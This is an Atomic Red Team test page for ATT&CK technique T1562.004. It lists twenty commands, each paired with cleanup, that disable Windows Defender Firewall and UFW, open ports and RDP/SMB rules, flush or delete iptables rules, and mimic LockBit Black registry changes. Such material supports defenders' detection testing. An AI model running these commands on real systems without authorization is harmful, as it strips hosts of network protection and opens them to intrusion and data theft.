T1562.004
Impair Defenses: Disable or Modify System Firewall
Description from ATT&CK
Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.
Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. Non-Standard Port).(Citation: change_rdp_port_conti)
Atomic Tests
Atomic Test #1 - Disable Microsoft Defender Firewall
Disables the Microsoft Defender Firewall for the current profile. Caution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile…
Supported Platforms: windows
auto_generated_guid: 88d05800-a5e4-407e-9b53-ece4174f197f
Inputs:
None
Attack Commands: Run with command_prompt!
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netsh advfirewall set currentprofile state off
Cleanup Commands:
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netsh advfirewall set currentprofile state on >nul 2>&1
Atomic Test #2 - Disable Microsoft Defender Firewall via Registry
Disables the Microsoft Defender Firewall for the public profile via registry Caution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile…
Supported Platforms: windows
auto_generated_guid: afedc8c4-038c-4d82-b3e5-623a95f8a612
Inputs:
None
Attack Commands: Run with command_prompt!
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reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile" /v "EnableFirewall" /t REG_DWORD /d 0 /f
Cleanup Commands:
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reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile" /v "EnableFirewall" /t REG_DWORD /d 1 /f
Atomic Test #3 - Allow SMB and RDP on Microsoft Defender Firewall
Allow all SMB and RDP rules on the Microsoft Defender Firewall for all profiles. Caution if you access remotely the host where the test runs! Especially with the cleanup command which will reset the firewall and risk disabling those services…
Supported Platforms: windows
auto_generated_guid: d9841bf8-f161-4c73-81e9-fd773a5ff8c1
Inputs:
None
Attack Commands: Run with command_prompt!
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netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
netsh advfirewall firewall set rule group="file and printer sharing" new enable=Yes
Cleanup Commands:
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netsh advfirewall reset >nul 2>&1
Atomic Test #4 - Opening ports for proxy - HARDRAIN
This test creates a listening interface on a victim device. This tactic was used by HARDRAIN for proxying.
reference: https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf
Supported Platforms: windows
auto_generated_guid: 15e57006-79dd-46df-9bf9-31bc24fb5a80
Inputs:
None
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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netsh advfirewall firewall add rule name="atomic testing" action=allow dir=in protocol=TCP localport=450
Cleanup Commands:
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netsh advfirewall firewall delete rule name="atomic testing" protocol=TCP localport=450 >nul 2>&1
Atomic Test #5 - Open a local port through Windows Firewall to any profile
This test will attempt to open a local port defined by input arguments to any profile
Supported Platforms: windows
auto_generated_guid: 9636dd6e-7599-40d2-8eee-ac16434f35ed
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| local_port | This is the local port you wish to test opening | integer | 3389 |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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netsh advfirewall firewall add rule name="Open Port to Any" dir=in protocol=tcp localport=#{local_port} action=allow profile=any
Cleanup Commands:
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netsh advfirewall firewall delete rule name="Open Port to Any" | Out-Null
Atomic Test #6 - Allow Executable Through Firewall Located in Non-Standard Location
This test will attempt to allow an executable through the system firewall located in the Users directory
Supported Platforms: windows
auto_generated_guid: 6f5822d2-d38d-4f48-9bfc-916607ff6b8c
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| exe_file_path | path to exe file | path | PathToAtomicsFolder\T1562.004\bin\AtomicTest.exe |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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Copy-Item #{exe_file_path} -Destination "C:\Users\$env:UserName" -Force
netsh advfirewall firewall add rule name="Atomic Test" dir=in action=allow program="C:\Users\$env:UserName\AtomicTest.exe" enable=yes
Cleanup Commands:
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netsh advfirewall firewall delete rule name="Atomic Test" | Out-Null
Remove-Item C:\Users\$env:UserName\AtomicTest.exe -ErrorAction Ignore
Atomic Test #7 - Stop/Start UFW firewall
Stop the Uncomplicated Firewall (UFW) if installed.
Supported Platforms: linux
auto_generated_guid: fe135572-edcd-49a2-afe6-1d39521c5a9a
Inputs:
None
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
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ufw disable
Cleanup Commands:
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ufw enable
ufw status verbose
Dependencies: Run with sh!
Description: Check if ufw is installed on the machine.
Check Prereq Commands:
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if [ ! -x "$(command -v ufw)" ]; then echo -e "\n***** ufw NOT installed *****\n"; exit 1; fi
if echo "$(ufw status)" |grep -q "inactive"; then echo -e "\n***** ufw inactive *****\n"; exit 1; fi
Get Prereq Commands:
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echo ""
Atomic Test #8 - Stop/Start UFW firewall systemctl
Stop the Uncomplicated Firewall (UFW) if installed, using systemctl.
Supported Platforms: linux
auto_generated_guid: 9fd99609-1854-4f3c-b47b-97d9a5972bd1
Inputs:
None
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
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systemctl stop ufw
Cleanup Commands:
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systemctl start ufw
systemctl status ufw
Dependencies: Run with sh!
Description: Check if systemctl and ufw is installed on the machine.
Check Prereq Commands:
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if [ ! -x "$(command -v systemctl)" ]; then echo -e "\n***** systemctl NOT installed *****\n"; exit 1; fi
if [ ! -x "$(command -v ufw)" ]; then echo -e "\n***** ufw NOT installed *****\n"; exit 1; fi
if echo "$(ufw status)" |grep -q "inactive"; then echo -e "\n***** ufw inactive *****\n"; exit 1; fi
Get Prereq Commands:
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echo ""
Atomic Test #9 - Turn off UFW logging
Turn off the Uncomplicated Firewall (UFW) logging.
Supported Platforms: linux
auto_generated_guid: 8a95b832-2c2a-494d-9cb0-dc9dd97c8bad
Inputs:
None
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
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ufw logging off
Cleanup Commands:
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ufw logging low
ufw status verbose
Dependencies: Run with sh!
Description: Check if ufw is installed on the machine and enabled.
Check Prereq Commands:
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if [ ! -x "$(command -v ufw)" ]; then echo -e "\n***** ufw NOT installed *****\n"; exit 1; fi
if echo "$(ufw status)" |grep -q "inactive"; then echo -e "\n***** ufw inactive *****\n"; exit 1; fi
Get Prereq Commands:
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echo ""
Atomic Test #10 - Add and delete UFW firewall rules
Add and delete a rule on the Uncomplicated Firewall (UFW) if installed and enabled.
Supported Platforms: linux
auto_generated_guid: b2563a4e-c4b8-429c-8d47-d5bcb227ba7a
Inputs:
None
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
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ufw prepend deny from 1.2.3.4
ufw status numbered
Cleanup Commands:
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{ echo y; echo response; } | ufw delete 1
ufw status numbered
Dependencies: Run with sh!
Description: Check if ufw is installed on the machine and enabled.
Check Prereq Commands:
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if [ ! -x "$(command -v ufw)" ]; then echo -e "\n***** ufw NOT installed *****\n"; exit 1; fi
if echo "$(ufw status)" |grep -q "inactive"; then echo -e "\n***** ufw inactive *****\n"; exit 1; fi
Get Prereq Commands:
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echo ""
Atomic Test #11 - Edit UFW firewall user.rules file
Edit the Uncomplicated Firewall (UFW) rules file /etc/ufw/user.rules.
Supported Platforms: linux
auto_generated_guid: beaf815a-c883-4194-97e9-fdbbb2bbdd7c
Inputs:
None
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
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echo "# THIS IS A COMMENT" >> /etc/ufw/user.rules
grep "# THIS IS A COMMENT" /etc/ufw/user.rules
Cleanup Commands:
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sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/user.rules
Dependencies: Run with sh!
Description: Check if /etc/ufw/user.rules exists.
Check Prereq Commands:
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if [ ! -f "/etc/ufw/user.rules" ]; then echo -e "\n***** ufw NOT installed *****\n"; exit 1; fi
Get Prereq Commands:
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echo ""
Atomic Test #12 - Edit UFW firewall ufw.conf file
Edit the Uncomplicated Firewall (UFW) configuration file /etc/ufw/ufw.conf which controls if the firewall starts on boot and its logging level.
Supported Platforms: linux
auto_generated_guid: c1d8c4eb-88da-4927-ae97-c7c25893803b
Inputs:
None
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
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echo "# THIS IS A COMMENT" >> /etc/ufw/ufw.conf
grep "# THIS IS A COMMENT" /etc/ufw/ufw.conf
Cleanup Commands:
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sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/ufw.conf
cat /etc/ufw/ufw.conf
Dependencies: Run with sh!
Description: Check if /etc/ufw/ufw.conf exists.
Check Prereq Commands:
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if [ ! -f "/etc/ufw/ufw.conf" ]; then echo -e "\n***** ufw NOT installed *****\n"; exit 1; fi
Get Prereq Commands:
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echo ""
Atomic Test #13 - Edit UFW firewall sysctl.conf file
Edit the Uncomplicated Firewall (UFW) configuration file for setting network variables /etc/ufw/sysctl.conf.
Supported Platforms: linux
auto_generated_guid: c4ae0701-88d3-4cd8-8bce-4801ed9f97e4
Inputs:
None
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
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echo "# THIS IS A COMMENT" >> /etc/ufw/sysctl.conf
grep "# THIS IS A COMMENT" /etc/ufw/sysctl.conf
Cleanup Commands:
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sed -i 's/# THIS IS A COMMENT//g' /etc/ufw/sysctl.conf
cat /etc/ufw/sysctl.conf
Dependencies: Run with sh!
Description: Check if /etc/ufw/sysctl.conf exists.
Check Prereq Commands:
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if [ ! -f "/etc/ufw/sysctl.conf" ]; then echo -e "\n***** ufw NOT installed *****\n"; exit 1; fi
Get Prereq Commands:
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echo ""
Atomic Test #14 - Edit UFW firewall main configuration file
Edit the Uncomplicated Firewall (UFW) main configuration file for setting default policies /etc/default/ufw.
Supported Platforms: linux
auto_generated_guid: 7b697ece-8270-46b5-bbc7-6b9e27081831
Inputs:
None
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
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echo "# THIS IS A COMMENT" >> /etc/default/ufw
grep "# THIS IS A COMMENT" /etc/default/ufw
Cleanup Commands:
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sed -i 's/# THIS IS A COMMENT//g' /etc/default/ufw
Dependencies: Run with sh!
Description: Check if /etc/default/ufw exists.
Check Prereq Commands:
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if [ ! -f "/etc/default/ufw" ]; then echo -e "\n***** ufw NOT installed *****\n"; exit 1; fi
Get Prereq Commands:
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echo ""
Atomic Test #15 - Tail the UFW firewall log file
Print the last 10 lines of the Uncomplicated Firewall (UFW) log file /var/log/ufw.log.
Supported Platforms: linux
auto_generated_guid: 419cca0c-fa52-4572-b0d7-bc7c6f388a27
Inputs:
None
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
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tail /var/log/ufw.log
Dependencies: Run with sh!
Description: Check if /var/log/ufw.log exists.
Check Prereq Commands:
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if [ ! -f "/var/log/ufw.log" ]; then echo -e "\n***** ufw NOT logging *****\n"; exit 1; fi
Get Prereq Commands:
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echo ""
Atomic Test #16 - Disable iptables
Some Linux systems may not activate ufw, but use iptables for firewall rules instead. (ufw works on top of iptables.) Attackers cannot directly disable iptables, as it is not implemented as a service like ufw. But they can flush all iptables rules, which in fact "disable" iptables.
Supported Platforms: linux
auto_generated_guid: 7784c64e-ed0b-4b65-bf63-c86db229fd56
Inputs:
None
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
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iptables-save > /tmp/iptables.rules
iptables -F
Cleanup Commands:
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iptables-restore < /tmp/iptables.rules
Dependencies: Run with sh!
Description: Check if iptables is installed on the machine.
Check Prereq Commands:
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if [ ! -x "$(command -v iptables)" ]; then echo -e "\n***** iptables NOT installed *****\n"; exit 1; fi
Get Prereq Commands:
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echo ""
Atomic Test #17 - Modify/delete iptables firewall rules
Instead of completely "disabling" iptables, adversaries may choose to delete a certain rule, which, for example, blocks data exfiltration via ftp. By doing so, they may cause less noise to avoid detection.
Supported Platforms: linux
auto_generated_guid: 899a7fb5-d197-4951-8614-f19ac4a73ad4
Inputs:
None
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
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iptables-save > /tmp/iptables.rules
iptables -D OUTPUT -p tcp --dport 21 -j DROP
Cleanup Commands:
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iptables-restore < /tmp/iptables.rules
Dependencies: Run with sh!
Description: Check if iptables is installed on the machine.
Check Prereq Commands:
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if [ ! -x "$(command -v iptables)" ]; then echo -e "\n***** iptables NOT installed *****\n"; exit 1; fi
if ! echo "$(iptables -L)" | grep -q "DROP .*dpt:ftp"; then echo -e "\n***** this firewall rule is NOT activated *****\n***** activate it by executing \"iptables -A OUTPUT -p tcp --dport 21 -j DROP\" *****\n"; exit 1; fi
Get Prereq Commands:
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echo ""
Atomic Test #18 - LockBit Black - Unusual Windows firewall registry modification -cmd
An adversary tries to modify the windows firewall registry
Supported Platforms: windows
auto_generated_guid: a4651931-ebbb-4cde-9363-ddf3d66214cb
Inputs:
None
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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reg add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
Cleanup Commands:
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reg delete "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /f >nul 2>&1
Atomic Test #19 - LockBit Black - Unusual Windows firewall registry modification -Powershell
An adversary tries to modify the windows firewall registry.
Supported Platforms: windows
auto_generated_guid: 80b453d1-eec5-4144-bf08-613a6c3ffe12
Inputs:
None
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
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New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force
New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force
Cleanup Commands:
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Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile" -Name EnableFirewall -Force -ErrorAction Ignore
Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" -Name EnableFirewall -Force -ErrorAction Ignore
Atomic Test #20 - Blackbit - Disable Windows Firewall using netsh firewall
An adversary tries to modify the windows firewall configuration using the deprecated netsh firewall command (command still works).
Supported Platforms: windows
auto_generated_guid: 91f348e6-3760-4997-a93b-2ceee7f254ee
Inputs:
None
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
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netsh firewall set opmode mode=disable
Cleanup Commands:
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netsh firewall set opmode mode=enable >nul 2>&1